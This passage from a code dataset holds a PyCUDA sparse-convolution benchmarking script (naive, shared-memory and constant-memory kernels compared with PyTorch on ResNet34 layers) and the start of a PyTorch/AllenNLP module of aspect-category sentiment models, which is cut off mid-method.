| 47.069106 | 147 | 0.522627 | 5,837 | 69,474 | 5.953572 | 0.053623 | 0.063451 | 0.04374 | 0.041898 | 0.91606 | 0.896118 | 0.877442 | 0.858536 | 0.850508 | 0.835026 | 0 | 0.015193 | 0.380387 | 69,474 | 1,475 | 148 | 47.101017 | 0.792064 | 0.039108 | 0 | 0.783051 | 0 | 0 | 0.308368 | 0.06225 | 0 | 0 | 0 | 0 | 0.19887 | 0 | null | null | 0 | 0.019209 | null | null | 0.00113 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
81d47d43c69df7d316d6873c44a20f70f0c60d38 | 22,639 | py | Python | sparse_conv.py | BoFeng2477/E4750-Project-APPN | 5ddb8a693a7f4cc2503e978f7fcf971dfc189609 | [
"MIT"
] | null | null | null | sparse_conv.py | BoFeng2477/E4750-Project-APPN | 5ddb8a693a7f4cc2503e978f7fcf971dfc189609 | [
"MIT"
] | null | null | null | sparse_conv.py | BoFeng2477/E4750-Project-APPN | 5ddb8a693a7f4cc2503e978f7fcf971dfc189609 | [
"MIT"
] | null | null | null | import numpy as np
import time
from scipy import signal
import pycuda.autoinit
import pycuda.driver as cuda
from pycuda.compiler import SourceModule
from SparsityAnalysis import extract_patterns, SparseConvArrays
import torch.nn as nn
import torch
from conv_naive import Convolution
from tqdm import tqdm
class SparseConvolution:
def __init__(self):
"""
Attributes for instance of EncoderDecoder module
"""
self.mod = self.getSourceModule()
pass
def getSourceModule(self):
# kernel code wrapper
kernelwrapper = """
#define BLOCK_WIDTH 4
#define CONSTANT_SIZE 16384
__constant__ float Weight[CONSTANT_SIZE];
__global__ void sparse_conv_naive(float *data, int *offset, int *reorder, int *index, int *stride, float *weight, float *ptset, float *out,
int bn, int IC, int IH, int IW, int OC, int OH, int OW, int ptset_size, int non_zero, int mask_width, int step) {
int filter_idx = blockIdx.x * blockDim.x + threadIdx.x;
int row = blockIdx.y * blockDim.y + threadIdx.y;
int col = blockIdx.z * blockDim.z + threadIdx.z;
int output_index = bn * OC * OH * OW + reorder[filter_idx] * OH * OW + row * OW + col;
//int tx = threadIdx.x;
//int ty = threadIdx.y;
//int tz = threadIdx.z;
if(filter_idx < OC){
int topleft_col = col * step - ((mask_width - 1) / 2);
int topleft_row = row * step - ((mask_width - 1) / 2);
int oc_stride_start = filter_idx * (ptset_size + 1);
float output = 0;
for(int pi = 0; pi < ptset_size; pi++){
int stride_index = oc_stride_start + pi;
int nkernels = stride[stride_index + 1] - stride[stride_index];
int kernel_index_start = offset[filter_idx] + stride[stride_index];
for(int k = 0; k < nkernels; k++){
int topleft_data_index = bn * IC * IH * IW + index[kernel_index_start + k] * IH * IW + topleft_row * IW + topleft_col;
for(int v = 0; v < non_zero; v++){
int cur_row = topleft_row + ptset[pi * non_zero * 2 + v * 2 + 0];
int cur_col = topleft_col + ptset[pi * non_zero * 2 + v * 2 + 1];
int cur_index = topleft_data_index + ptset[pi * non_zero * 2 + v * 2 + 0] * IW + ptset[pi * non_zero * 2 + v * 2 + 1];
//out[output_index] = ptset[pi * non_zero * 2 + v * 2 + 0];
if(cur_row >= 0 && cur_row < IH && cur_col >=0 && cur_col < IW){
output += data[cur_index] * weight[non_zero * (kernel_index_start + k) + v];
}
}
}
}
out[output_index] = output;
}
}
__global__ void sparse_conv_shared(float *data, int *offset, int *reorder, int *index, int *stride, float *weight, float *ptset, float *out,
int bn, int IC, int IH, int IW, int OC, int OH, int OW, int ptset_size, int non_zero, int mask_width, int step) {
int filter_idx = blockIdx.x * blockDim.x + threadIdx.x;
int row = blockIdx.y * blockDim.y + threadIdx.y;
int col = blockIdx.z * blockDim.z + threadIdx.z;
int output_index = bn * OC * OH * OW + reorder[filter_idx] * OH * OW + row * OW + col;
int tx = threadIdx.x;
int ty = threadIdx.y;
int tz = threadIdx.z;
__shared__ float output[BLOCK_WIDTH][BLOCK_WIDTH][BLOCK_WIDTH];
output[tz][ty][tx] = 0;
if(filter_idx < OC){
int topleft_col = col * step - ((mask_width - 1) / 2);
int topleft_row = row * step - ((mask_width - 1) / 2);
int oc_stride_start = filter_idx * (ptset_size + 1);
for(int pi = 0; pi < ptset_size; pi++){
int stride_index = oc_stride_start + pi;
int nkernels = stride[stride_index + 1] - stride[stride_index];
int kernel_index_start = offset[filter_idx] + stride[stride_index];
for(int k = 0; k < nkernels; k++){
int topleft_data_index = bn * IC * IH * IW + index[kernel_index_start + k] * IH * IW + topleft_row * IW + topleft_col;
for(int v = 0; v < non_zero; v++){
int cur_row = topleft_row + ptset[pi * non_zero * 2 + v * 2 + 0];
int cur_col = topleft_col + ptset[pi * non_zero * 2 + v * 2 + 1];
int cur_index = topleft_data_index + ptset[pi * non_zero * 2 + v * 2 + 0] * IW + ptset[pi * non_zero * 2 + v * 2 + 1];
//out[output_index] = ptset[pi * non_zero * 2 + v * 2 + 0];
if(cur_row >= 0 && cur_row < IH && cur_col >=0 && cur_col < IW){
output[tz][ty][tx] += data[cur_index] * weight[non_zero * (kernel_index_start + k) + v];
}
}
}
}
out[output_index] = output[tz][ty][tx];
}
}
__global__ void sparse_conv_shared_constant(float *data, int *offset, int *reorder, int *index, int *stride, float *ptset, float *out,
int bn, int IC, int IH, int IW, int OC, int OH, int OW, int ptset_size, int non_zero, int mask_width, int step) {
int filter_idx = blockIdx.x * blockDim.x + threadIdx.x;
int row = blockIdx.y * blockDim.y + threadIdx.y;
int col = blockIdx.z * blockDim.z + threadIdx.z;
int output_index = bn * OC * OH * OW + reorder[filter_idx] * OH * OW + row * OW + col;
int tx = threadIdx.x;
int ty = threadIdx.y;
int tz = threadIdx.z;
__shared__ float output[BLOCK_WIDTH][BLOCK_WIDTH][BLOCK_WIDTH];
output[tz][ty][tx] = 0;
if(filter_idx < OC){
int topleft_col = col * step - ((mask_width - 1) / 2);
int topleft_row = row * step - ((mask_width - 1) / 2);
int oc_stride_start = filter_idx * (ptset_size + 1);
for(int pi = 0; pi < ptset_size; pi++){
int stride_index = oc_stride_start + pi;
int nkernels = stride[stride_index + 1] - stride[stride_index];
int kernel_index_start = offset[filter_idx] + stride[stride_index];
for(int k = 0; k < nkernels; k++){
int topleft_data_index = bn * IC * IH * IW + index[kernel_index_start + k] * IH * IW + topleft_row * IW + topleft_col;
for(int v = 0; v < non_zero; v++){
int cur_row = topleft_row + ptset[pi * non_zero * 2 + v * 2 + 0];
int cur_col = topleft_col + ptset[pi * non_zero * 2 + v * 2 + 1];
int cur_index = topleft_data_index + ptset[pi * non_zero * 2 + v * 2 + 0] * IW + ptset[pi * non_zero * 2 + v * 2 + 1];
//out[output_index] = ptset[pi * non_zero * 2 + v * 2 + 0];
if(cur_row >= 0 && cur_row < IH && cur_col >=0 && cur_col < IW){
output[tz][ty][tx] += data[cur_index] * Weight[non_zero * (kernel_index_start + k) + v];
}
}
}
}
out[output_index] = output[tz][ty][tx];
}
}
"""
# you can either use a string or save the kernel in kernel.cu file and reference it here.
# Compile the kernel code when an instance
# of this class is made.
return SourceModule(kernelwrapper)
def conv_sparse_naive(self, data, offset, reorder, index, stride, weight, ptset, step, out):
BN, IC, IH, IW = data.shape
_, OC, OH, OW = out.shape
mask_width = 3
pattern_set_size = ptset.shape[0]
nonzero_per_kernel = ptset.shape[1]
block_width = 4
block_dim = (block_width, block_width, block_width)
grid_dim = ((OC - 1) // block_width + 1, (OH - 1) // block_width + 1, (OW - 1) // block_width + 1)
time_computation_start = cuda.Event()
time_computation_end = cuda.Event()
time_mem_transfer_start = cuda.Event()
time_mem_transfer_end = cuda.Event()
time_mem_transfer_start.record()
data_d = cuda.mem_alloc(data.nbytes)
offset_d = cuda.mem_alloc(offset.nbytes)
reorder_d = cuda.mem_alloc(reorder.nbytes)
index_d = cuda.mem_alloc(index.nbytes)
stride_d = cuda.mem_alloc(stride.nbytes)
weight_d = cuda.mem_alloc(weight.nbytes)
ptset_d = cuda.mem_alloc(ptset.nbytes)
out_d = cuda.mem_alloc(out.nbytes)
do_conv_sparse = self.mod.get_function("sparse_conv_naive")
cuda.memcpy_htod(data_d, data)
cuda.memcpy_htod(offset_d, offset)
cuda.memcpy_htod(reorder_d, reorder)
cuda.memcpy_htod(index_d, index)
cuda.memcpy_htod(stride_d, stride)
cuda.memcpy_htod(weight_d, weight)
cuda.memcpy_htod(ptset_d, ptset)
time_computation_start.record()
for bn in range(BN):
do_conv_sparse(data_d, offset_d, reorder_d, index_d, stride_d, weight_d, ptset_d, out_d,
np.int32(bn), np.int32(IC), np.int32(IH), np.int32(IW), np.int32(OC), np.int32(OH),
np.int32(OW),
np.int32(pattern_set_size), np.int32(nonzero_per_kernel), np.int32(mask_width),
np.int32(step), block=block_dim,
grid=grid_dim)
time_computation_end.record()
time_computation_end.synchronize()
# time_computation_end = time.time()
cuda.memcpy_dtoh(out, out_d)
time_mem_transfer_end.record()
time_mem_transfer_end.synchronize()
# time_mem_transfer_end = time.time()
time_without_mem = time_computation_start.time_till(time_computation_end)*1e-3
time_include_mem = time_mem_transfer_start.time_till(time_mem_transfer_end)*1e-3
# time_without_mem = time_computation_end - time_computation_start
# time_include_mem = time_mem_transfer_end - time_mem_transfer_start
return out, time_without_mem, time_include_mem
def conv_sparse_shared_mem(self, data, offset, reorder, index, stride, weight, ptset, step, out):
BN, IC, IH, IW = data.shape
_, OC, OH, OW = out.shape
mask_width = 3
pattern_set_size = ptset.shape[0]
nonzero_per_kernel = ptset.shape[1]
block_width = 4
block_dim = (block_width, block_width, block_width)
grid_dim = ((OC - 1) // block_width + 1, (OH - 1) // block_width + 1, (OW - 1) // block_width + 1)
time_computation_start = cuda.Event()
time_computation_end = cuda.Event()
time_mem_transfer_start = cuda.Event()
time_mem_transfer_end = cuda.Event()
time_mem_transfer_start.record()
data_d = cuda.mem_alloc(data.nbytes)
offset_d = cuda.mem_alloc(offset.nbytes)
reorder_d = cuda.mem_alloc(reorder.nbytes)
index_d = cuda.mem_alloc(index.nbytes)
stride_d = cuda.mem_alloc(stride.nbytes)
weight_d = cuda.mem_alloc(weight.nbytes)
ptset_d = cuda.mem_alloc(ptset.nbytes)
out_d = cuda.mem_alloc(out.nbytes)
do_conv_sparse_shared = self.mod.get_function("sparse_conv_shared")
cuda.memcpy_htod(data_d, data)
cuda.memcpy_htod(offset_d, offset)
cuda.memcpy_htod(reorder_d, reorder)
cuda.memcpy_htod(index_d, index)
cuda.memcpy_htod(stride_d, stride)
cuda.memcpy_htod(weight_d, weight)
cuda.memcpy_htod(ptset_d, ptset)
time_computation_start.record()
for bn in range(BN):
do_conv_sparse_shared(data_d, offset_d, reorder_d, index_d, stride_d, weight_d, ptset_d, out_d,
np.int32(bn), np.int32(IC), np.int32(IH), np.int32(IW), np.int32(OC), np.int32(OH),
np.int32(OW),
np.int32(pattern_set_size), np.int32(nonzero_per_kernel), np.int32(mask_width),
np.int32(step), block=block_dim,
grid=grid_dim)
time_computation_end.record()
time_computation_end.synchronize()
# time_computation_end = time.time()
cuda.memcpy_dtoh(out, out_d)
time_mem_transfer_end.record()
time_mem_transfer_end.synchronize()
# time_mem_transfer_end = time.time()
time_without_mem = time_computation_start.time_till(time_computation_end)*1e-3
time_include_mem = time_mem_transfer_start.time_till(time_mem_transfer_end)*1e-3
# time_without_mem = time_computation_end - time_computation_start
# time_include_mem = time_mem_transfer_end - time_mem_transfer_start
return out, time_without_mem, time_include_mem
def conv_sparse_shared_constant_mem(self, data, offset, reorder, index, stride, weight, ptset, step, out):
BN, IC, IH, IW = data.shape
_, OC, OH, OW = out.shape
mask_width = 3
pattern_set_size = ptset.shape[0]
nonzero_per_kernel = ptset.shape[1]
block_width = 4
block_dim = (block_width, block_width, block_width)
grid_dim = ((OC - 1) // block_width + 1, (OH - 1) // block_width + 1, (OW - 1) // block_width + 1)
time_computation_start = cuda.Event()
time_computation_end = cuda.Event()
time_mem_transfer_start = cuda.Event()
time_mem_transfer_end = cuda.Event()
time_mem_transfer_start.record()
data_d = cuda.mem_alloc(data.nbytes)
offset_d = cuda.mem_alloc(offset.nbytes)
reorder_d = cuda.mem_alloc(reorder.nbytes)
index_d = cuda.mem_alloc(index.nbytes)
stride_d = cuda.mem_alloc(stride.nbytes)
weight_d, _ = self.mod.get_global('Weight')
ptset_d = cuda.mem_alloc(ptset.nbytes)
out_d = cuda.mem_alloc(out.nbytes)
do_conv_sparse_shared_constant = self.mod.get_function("sparse_conv_shared_constant")
cuda.memcpy_htod(data_d, data)
cuda.memcpy_htod(offset_d, offset)
cuda.memcpy_htod(reorder_d, reorder)
cuda.memcpy_htod(index_d, index)
cuda.memcpy_htod(stride_d, stride)
cuda.memcpy_htod(weight_d, weight)
cuda.memcpy_htod(ptset_d, ptset)
time_computation_start.record()
for bn in range(BN):
do_conv_sparse_shared_constant(data_d, offset_d, reorder_d, index_d, stride_d, ptset_d, out_d,
np.int32(bn), np.int32(IC), np.int32(IH), np.int32(IW), np.int32(OC),
np.int32(OH), np.int32(OW),
np.int32(pattern_set_size), np.int32(nonzero_per_kernel),
np.int32(mask_width), np.int32(step), block=block_dim,
grid=grid_dim)
time_computation_end.record()
time_computation_end.synchronize()
cuda.memcpy_dtoh(out, out_d)
time_mem_transfer_end.record()
time_mem_transfer_end.synchronize()
time_without_mem = time_computation_start.time_till(time_computation_end)*1e-3
time_include_mem = time_mem_transfer_start.time_till(time_mem_transfer_end)*1e-3
return out, time_without_mem, time_include_mem
def conv_nnpack():
conv = Convolution()
cuda0 = torch.device('cuda:0')
cpu = torch.device('cpu')
total_time = 0
for idx in tqdm(range(len(residual_convs[:]))):
input_data = np.ones(data_shapes[idx]).astype(np.float32)
conv_mask = residual_convs[idx].astype(np.float32)
input_data_g = torch.tensor(input_data, device=cuda0)
conv_mask_g = torch.tensor(conv_mask, device=cuda0)
start = time.time()
output_gt = nn.functional.conv2d(input_data_g, conv_mask_g, padding=1)
# output_gt = nn.functional.conv2d(torch.tensor(input_data), torch.tensor(conv_mask),padding=1)
end = time.time()
total_time += end - start
print("nnpack")
print(f'{round(total_time, 3)}s')
def conv_naive():
conv = Convolution()
cuda0 = torch.device('cuda:0')
total_time = 0
for idx in tqdm(range(len(residual_convs[:]))):
input_data = np.ones(data_shapes[idx]).astype(np.float32)
conv_mask = residual_convs[idx].astype(np.float32)
output_1, time_ = conv.conv_multiple_filters(input_data, conv_mask)
total_time += time_
#print(f'{round(total_time,3)}s')
print("naive")
print(f'{round(total_time,3)}s')
# if __name__ == "__main__":
# conv = SparseConvolution()
#
# path = 'resnet34_6_pattern_connectivity_pruning.pt'
# state_dict = torch.load(path, map_location=torch.device('cpu'))
#
# residual_convs = [v.cpu().numpy() for (k, v) in state_dict.items() if "layer" in k and "conv" in k]
# data_shapes = [
# [1, 64, 32, 32], [1, 64, 32, 32], [1, 64, 32, 32], [1, 64, 32, 32], [1, 64, 32, 32], [1, 64, 32, 32],
# [1, 64, 32, 32], [1, 128, 16, 16], [1, 128, 16, 16], [1, 128, 16, 16], [1, 128, 16, 16], [1, 128, 16, 16],
# [1, 128, 16, 16], [1, 128, 16, 16], [1, 128, 16, 16], [1, 256, 8, 8], [1, 256, 8, 8], [1, 256, 8, 8],
# [1, 256, 8, 8], [1, 256, 8, 8], [1, 256, 8, 8], [1, 256, 8, 8], [1, 256, 8, 8], [1, 256, 8, 8],
# [1, 256, 8, 8], [1, 256, 8, 8], [1, 256, 8, 8], [1, 512, 4, 4], [1, 512, 4, 4], [1, 512, 4, 4],
# [1, 512, 4, 4], [1, 512, 4, 4],
# ]
#
# time_without_mem_list_naive = []
# time_include_mem_list_naive = []
# time_without_mem_list_shared = []
# time_include_mem_list_shared = []
# time_without_mem_list_constant = []
# time_include_mem_list_constant = []
# time_list_pytorch = []
#
# for i in range(len(residual_convs)):
# print("layer" + str(i))
# input_data = np.float32(np.ones(data_shapes[i]))
#
# output_data = np.float32(np.zeros(data_shapes[i + 1]))
#
# conv_layer_weight = residual_convs[i].astype(np.float32)
# patterns = np.array(extract_patterns(conv_layer_weight))
# sparse_conv_arrays = SparseConvArrays(conv_layer_weight, patterns)
# offset = sparse_conv_arrays.offset
# reorder = sparse_conv_arrays.reorder
# index = sparse_conv_arrays.index
# stride = sparse_conv_arrays.stride
# sparse_weight = sparse_conv_arrays.weight
# ptset = np.float32(sparse_conv_arrays.ptset)
#
# # step 卷积步长
# step = int(data_shapes[i][2] / data_shapes[i + 1][2])
# output_naive, time_without_mem_naive, time_include_mem_naive = conv.conv_sparse_naive(input_data, offset, reorder, index, stride, sparse_weight, ptset, step, output_data)
# output_shared, time_without_mem_shared, time_include_mem_shared = conv.conv_sparse_shared_mem(input_data, offset, reorder, index, stride, sparse_weight, ptset, step, output_data)
#
# time_without_mem_list_naive.append(time_without_mem_naive)
# time_include_mem_list_naive.append(time_include_mem_naive)
# time_without_mem_list_shared.append(time_without_mem_shared)
# time_include_mem_list_shared.append(time_include_mem_shared)
#
# #constant memory limit
# if sparse_weight.shape[0] <= 16384:
# output_constant, time_without_mem_constant, time_include_mem_constant = conv.conv_sparse_shared_constant_mem(input_data, offset, reorder, index, stride, sparse_weight, ptset, step, output_data)
# time_without_mem_list_constant.append(time_without_mem_constant)
# time_include_mem_list_constant.append(time_include_mem_constant)
#
# pytorch_start = time.time()
# output_gt = nn.functional.conv2d(torch.tensor(input_data), torch.tensor(conv_layer_weight), padding=1, stride=step)
# pytorch_end = time.time()
#
# pytorch_time = pytorch_end - pytorch_start
# time_list_pytorch.append(pytorch_time)
#
# output_gt = output_gt.cpu().numpy()
# # print(np.allclose(output_naive, output_gt))
# # print(np.allclose(output_shared, output_gt))
#
# #constant memory limit
# # if sparse_weight.shape[0] <= 16384:
# # print(np.allclose(output_constant, output_gt))
#
# #break when it comes to last layer
# if i == len(residual_convs) - 2:
# break
#
# print("Pytorch Conv2d time")
# print(np.sum(time_list_pytorch))
# print("Sparse Naive without memory transfer")
# print(np.sum(time_without_mem_list_naive))
# print("parse Naive include memory transfer")
# print(np.sum(time_include_mem_list_naive))
# print("Sparse Shared memory without memory transfer")
# print(np.sum(time_without_mem_list_shared))
# print("Sparse Shared memory include memory transfer")
# print(np.sum(time_include_mem_list_shared))
# print("Sparse Shared and Constant memory without memory transfer")
# print(time_without_mem_list_constant)
# print("Sparse Shared and Constant memory include memory transfer")
# print(time_include_mem_list_constant)
#
# conv_naive()
# conv_nnpack()
| 43.121905 | 209 | 0.566809 | 2,915 | 22,639 | 4.110806 | 0.074443 | 0.019277 | 0.033798 | 0.024952 | 0.812401 | 0.785446 | 0.760828 | 0.726446 | 0.722106 | 0.714763 | 0 | 0.030454 | 0.325544 | 22,639 | 524 | 210 | 43.204198 | 0.754339 | 0.224568 | 0 | 0.731959 | 0 | 0.058419 | 0.460336 | 0.026107 | 0 | 0 | 0 | 0 | 0 | 1 | 0.024055 | false | 0.003436 | 0.037801 | 0 | 0.079038 | 0.013746 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
81e16c14f8ddfae1860d7da80bbef6084be49d06 | 104,578 | py | Python | nlp_tasks/absa/aspect_category_detection_and_sentiment_classification/pytorch_models.py | l294265421/AC-MIMLLN | f62e71a1d7f3f6a6d2c3ec469570a171db4300a4 | [
"MIT"
] | 21 | 2020-12-12T01:54:56.000Z | 2021-12-14T12:26:51.000Z | nlp_tasks/absa/aspect_category_detection_and_sentiment_classification/pytorch_models.py | l294265421/AC-MIMLLN | f62e71a1d7f3f6a6d2c3ec469570a171db4300a4 | [
"MIT"
] | 1 | 2021-09-27T03:07:22.000Z | 2021-09-28T08:22:59.000Z | nlp_tasks/absa/aspect_category_detection_and_sentiment_classification/pytorch_models.py | l294265421/AC-MIMLLN | f62e71a1d7f3f6a6d2c3ec469570a171db4300a4 | [
"MIT"
] | 4 | 2020-12-30T13:40:37.000Z | 2021-12-05T09:30:50.000Z | # -*- coding: utf-8 -*-
from typing import *
from overrides import overrides
import time
import copy
import os
import re
import numpy as np
import torch
import torch.nn as nn
import torch.optim as optim
from allennlp.modules.seq2vec_encoders import CnnEncoder as VectorCnnEncoder
from allennlp.nn.util import get_text_field_mask
from allennlp.models import Model
from allennlp.modules.text_field_embedders import TextFieldEmbedder
from allennlp.data.fields import TextField, MetadataField, ArrayField, LabelField
from allennlp.data.token_indexers import SingleIdTokenIndexer
from allennlp.data.token_indexers import TokenIndexer
from allennlp.data import Instance
from allennlp.data.token_indexers import TokenIndexer
from allennlp.data.tokenizers import Token
from allennlp.nn import util as nn_util
from allennlp.data.vocabulary import Vocabulary
from allennlp.data.dataset_readers import DatasetReader
import torch.nn.functional as F
from allennlp.training import metrics
from allennlp.models import BasicClassifier
from allennlp.modules import attention
from allennlp.data.iterators import DataIterator
from tqdm import tqdm
from scipy.special import expit
from allennlp.nn import util as allennlp_util
import dgl
from dgl import function as dgl_fn
from sklearn.metrics import f1_score, precision_score, recall_score
from nlp_tasks.utils import attention_visualizer
from nlp_tasks.absa.aspect_category_detection_and_sentiment_classification import allennlp_metrics
from nlp_tasks.absa.aspect_category_detection_and_sentiment_classification.cnn_encoder_seq2seq import CnnEncoder
class AttentionInHtt(nn.Module):
"""
2016-Hierarchical Attention Networks for Document Classification
"""
def __init__(self, in_features, out_features, bias=True, softmax=True):
super().__init__()
self.W = nn.Linear(in_features, out_features, bias)
self.uw = nn.Linear(out_features, 1, bias=False)
self.softmax = softmax
def forward(self, h: torch.Tensor, mask: torch.Tensor):
u = self.W(h)
u = torch.tanh(u)
similarities = self.uw(u)
similarities = similarities.squeeze(dim=-1)
if self.softmax:
alpha = allennlp_util.masked_softmax(similarities, mask)
return alpha
else:
return similarities
class DotProductAttentionInHtt(nn.Module):
"""
2016-Hierarchical Attention Networks for Document Classification
"""
def __init__(self, in_features, out_features, bias=True, softmax=True):
super().__init__()
self.uw = nn.Linear(in_features, 1, bias=False)
self.softmax = softmax
def forward(self, h: torch.Tensor, mask: torch.Tensor):
similarities = self.uw(h)
similarities = similarities.squeeze(dim=-1)
if self.softmax:
alpha = allennlp_util.masked_softmax(similarities, mask)
return alpha
else:
return similarities
class AverageAttention(nn.Module):
"""
2019-emnlp-Attention is not not Explanation
"""
def __init__(self):
super().__init__()
def forward(self, h: torch.Tensor, mask: torch.Tensor):
alpha = allennlp_util.masked_softmax(mask, mask)
return alpha
class BernoulliAttentionInHtt(nn.Module):
"""
2016-Hierarchical Attention Networks for Document Classification
"""
def __init__(self, in_features, out_features, bias=True):
super().__init__()
self.W = nn.Linear(in_features, out_features, bias)
self.uw = nn.Linear(out_features, 1, bias=False)
def forward(self, h: torch.Tensor, mask: torch.Tensor):
u = self.W(h)
u = torch.tanh(u)
similarities = self.uw(u)
similarities = similarities.squeeze(dim=-1)
alpha = torch.sigmoid(similarities)
return alpha
class AttentionInCan(nn.Module):
"""
2019-emnlp-CAN Constrained Attention Networks for Multi-Aspect Sentiment Analysis
"""
def __init__(self, in_features, bias=True, softmax=True):
super().__init__()
self.W1 = nn.Linear(in_features, in_features, bias)
self.W2 = nn.Linear(in_features, in_features, bias)
self.uw = nn.Linear(in_features, 1, bias=False)
self.softmax = softmax
def forward(self, h1: torch.Tensor, h2: torch.Tensor, mask: torch.Tensor):
u1 = self.W1(h1)
u2 = self.W2(h2)
u = u1 + u2
u = torch.tanh(u)
similarities = self.uw(u)
similarities = similarities.squeeze(dim=-1)
if self.softmax:
alpha = allennlp_util.masked_softmax(similarities, mask)
return alpha
else:
return similarities
class LocationMaskLayer(nn.Module):
"""
2017-CIKM-Aspect-level Sentiment Classification with HEAT (HiErarchical ATtention) Network
"""
def __init__(self, location_num, configuration):
super().__init__()
self.location_num = location_num
self.configuration = configuration
def forward(self, alpha: torch.Tensor):
location_num = self.location_num
location_matrix = torch.zeros([location_num, location_num], dtype=torch.float,
device=self.configuration['device'],
requires_grad=False)
for i in range(location_num):
for j in range(location_num):
location_matrix[i, j] = 1 - (abs(i - j) / location_num)
result = alpha.mm(location_matrix)
return result
class TextInAllAspectSentimentOutModel(Model):
def __init__(self, vocab: Vocabulary, category_loss_weight=1, sentiment_loss_weight=1):
super().__init__(vocab)
self.category_loss_weight = category_loss_weight
self.sentiment_loss_weight = sentiment_loss_weight
def matrix_mul(self, input, weight, bias=False):
feature_list = []
for feature in input:
feature = torch.mm(feature, weight)
if isinstance(bias, torch.nn.parameter.Parameter):
feature = feature + bias.expand(feature.size()[0], bias.size()[1])
feature = torch.tanh(feature).unsqueeze(0)
feature_list.append(feature)
return torch.cat(feature_list, 0).squeeze()
def element_wise_mul(self, input1, input2, return_not_sum_result=False):
feature_list = []
for feature_1, feature_2 in zip(input1, input2):
feature_2 = feature_2.unsqueeze(1)
feature_2 = feature_2.expand_as(feature_1)
feature = feature_1 * feature_2
feature = feature.unsqueeze(0)
feature_list.append(feature)
output = torch.cat(feature_list, 0)
result = torch.sum(output, 1)
if return_not_sum_result:
return result, output
else:
return result
def reduce(self, nodes):
"""Take an average over all neighbor node features hu and use it to
overwrite the original node feature."""
m = nodes.mailbox['m']
accum = torch.sum(m, 1)
return {'h': accum}
def pad_dgl_graph(self, graphs, max_node_num):
graphs_padded = []
for graph in graphs:
graph_padded = copy.deepcopy(graph)
node_num = graph.number_of_nodes()
graph_padded.add_nodes(max_node_num - node_num)
graphs_padded.append(graph_padded)
return graphs_padded
def no_grad_for_acd_parameter(self):
self.set_grad_for_acd_parameter(requires_grad=False)
def set_grad_for_acd_parameter(self, requires_grad=True):
pass
def set_grad_for_acsc_parameter(self, requires_grad=True):
pass
def _get_model_visualization_picture_filepath(self, configuration: dict, words: list):
savefig_dir = configuration['savefig_dir']
if not savefig_dir:
return None
filename = '%s-%s.svg' % ('-'.join(words[:3]), str(time.time()))
filename = re.sub('/', '', filename)
return os.path.join(savefig_dir, filename)
class AsMilSimultaneouslyV5(TextInAllAspectSentimentOutModel):
def __init__(self, word_embedder: TextFieldEmbedder, position_embedder: TextFieldEmbedder,
aspect_embedder: TextFieldEmbedder, categories: list, polarities: list, vocab: Vocabulary,
configuration: dict, category_loss_weight=1, sentiment_loss_weight=1):
super().__init__(vocab, category_loss_weight=category_loss_weight, sentiment_loss_weight=sentiment_loss_weight)
self.configuration = configuration
self.word_embedder = word_embedder
self.position_embedder = position_embedder
self.aspect_embedder = aspect_embedder
self.categories = categories
self.polarites = polarities
self.category_num = len(categories)
self.polarity_num = len(polarities)
self.category_loss = nn.BCEWithLogitsLoss()
self.sentiment_loss = nn.CrossEntropyLoss()
self._accuracy = metrics.CategoricalAccuracy()
self._f1 = allennlp_metrics.BinaryF1(0.5)
word_embedding_dim = word_embedder.get_output_dim()
if self.configuration['lstm_or_fc_after_embedding_layer'] == 'fc':
self.embedding_layer_fc = nn.Linear(word_embedding_dim, word_embedding_dim, bias=True)
elif self.configuration['lstm_or_fc_after_embedding_layer'] == 'bilstm':
self.embedding_layer_lstm = torch.nn.LSTM(word_embedding_dim, int(word_embedding_dim / 2), batch_first=True,
bidirectional=True, num_layers=1)
else:
self.embedding_layer_lstm = torch.nn.LSTM(word_embedding_dim, word_embedding_dim, batch_first=True,
bidirectional=False, num_layers=1)
self.embedding_layer_aspect_attentions = [AttentionInHtt(word_embedding_dim,
word_embedding_dim)
for _ in range(self.category_num)]
self.embedding_layer_aspect_attentions = nn.ModuleList(self.embedding_layer_aspect_attentions)
lstm_input_size = word_embedding_dim
if self.configuration['position']:
lstm_input_size += position_embedder.get_output_dim()
if self.configuration['sentence_encoder_for_sentiment'] == 'cnn':
ngram_filter_sizes = (2, 3, 4)
self.cnn_encoder = CnnEncoder(lstm_input_size, int(word_embedding_dim / len(ngram_filter_sizes)),
ngram_filter_sizes=ngram_filter_sizes)
else:
num_layers = self.configuration['lstm_layer_num_in_lstm']
self.lstm = torch.nn.LSTM(lstm_input_size, int(word_embedding_dim / 2), batch_first=True,
bidirectional=True, num_layers=num_layers, dropout=0.5)
self.category_fcs = [nn.Linear(word_embedding_dim, 1) for _ in range(self.category_num)]
self.category_fcs = nn.ModuleList(self.category_fcs)
if self.configuration['lstm_layer_category_classifier']:
self.lstm_category_fcs = [nn.Linear(word_embedding_dim, 1) for _ in range(self.category_num)]
self.lstm_category_fcs = nn.ModuleList(self.lstm_category_fcs)
sentiment_fc_input_size = word_embedding_dim
if not self.configuration['share_sentiment_classifier']:
self.sentiment_fcs = [nn.Sequential(nn.Linear(sentiment_fc_input_size, sentiment_fc_input_size),
nn.ReLU(),
nn.Linear(sentiment_fc_input_size, self.polarity_num))
for _ in range(self.category_num)]
self.sentiment_fcs = nn.ModuleList(self.sentiment_fcs)
else:
self.sentiment_fc = nn.Sequential(nn.Linear(sentiment_fc_input_size, sentiment_fc_input_size),
nn.ReLU(),
nn.Linear(sentiment_fc_input_size, self.polarity_num))
self.dropout_after_embedding_layer = nn.Dropout(0.5)
self.dropout_after_lstm_layer = nn.Dropout(0.5)
# self.gc1 = DglGraphConvolution(word_embedding_dim, word_embedding_dim, configuration)
# self.gc2 = DglGraphConvolution(word_embedding_dim, word_embedding_dim, configuration)
def set_grad_for_acd_parameter(self, requires_grad=True):
acd_layers = []
if self.configuration['lstm_or_fc_after_embedding_layer'] == 'fc':
acd_layers.append(self.embedding_layer_fc)
else:
acd_layers.append(self.embedding_layer_lstm)
acd_layers.append(self.embedding_layer_aspect_attentions)
